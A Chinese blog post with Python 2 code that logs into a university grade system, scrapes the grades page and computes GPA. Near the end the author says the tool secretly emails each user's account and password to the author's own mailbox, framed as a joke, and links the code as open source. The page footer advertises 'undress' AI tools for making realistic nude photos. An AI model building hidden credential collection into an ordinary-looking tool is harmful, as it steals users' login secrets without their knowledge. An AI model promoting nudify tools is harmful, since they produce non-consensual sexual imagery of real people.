模拟登录教务系统计算GPA的小程序
做了一些小游戏之后开始慢慢体会敲代码是件体力活,慢慢熬总能熬出来的。这几天又心血来潮想写个程序模拟登录教务系统计算GPA的小程序。不过之前没有一点点网络编程的经验,就趁着期中考后放假4天,一点点把坑填上。
最近对Java语言有莫名好感。原本也打算用Java开发,但事实证明Java在网络编程方面似乎比python麻烦,加上Java一个方法用错导致学校教务系统误以为我在进行SQL注入把我的ip封了(。。。)从此下定决心用python写。
cookie用于记录登录后的会话状态。
# 保存cookie cj = cookielib.LWPCookieJar() cookie_support = urllib2.HTTPCookieProcessor(cj) opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler) urllib2.install_opener(opener)
先用浏览器登录教务系统,打开控制台分析登录网页需要post哪些消息和找出真正的请求网页。
由上面两图分析得到真实的请求网页是:121.251.19.29/pass.asp
登录需要post的数据为:UserStyle,user,password,其中UserStyle是radio类型,看网页源代码得到分为student,teacher和OtherUser三种。
接下去发送post请求。
url = '121.251.19.29/pass.asp' h = urllib2.urlopen(url) info = {'UserStyle': 'student', 'user': user, 'password': psw} info = urllib.urlencode(info) req = urllib2.Request(url, info) urllib2.urlopen(req)
成功登录后,找到成绩查询的选项点击,找到请求的网页为:121.251.19.29/student/asp/Select_Success.asp
打开请求网页,读取成绩页面源代码
req = urllib2.Request('121.251.19.29/student/asp/Select_Success.asp') resData = urllib2.urlopen(req) res = resData.read() # 读取成绩页面
用正则表达式过滤所有HTML标签。剩下的内容进行解析。显示成绩的表格有周期性规律,提取对应科目的成绩和学分,最后计算平均分和绩点。
tag = re.compile('</?[^>]*>') s = re.sub(tag, '', res) # 过滤标签 tmp = s.split()
当然,如果帐号或密码输入错误,则请求登录失败,会提示用户重新输入帐号密码。下面找了几个同学的帐号来测试。
最后还稍微抖个机灵,帐号成功登陆后会把帐号密码发到我的邮箱
python模拟发普通文本邮件的内容就不写了。。直接开源吧:github.com/ly941122/CalGPA
【相关推荐】
4. 详解优化你的微信小程序
Atas ialah kandungan terperinci 模拟登录教务系统计算GPA的小程序. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

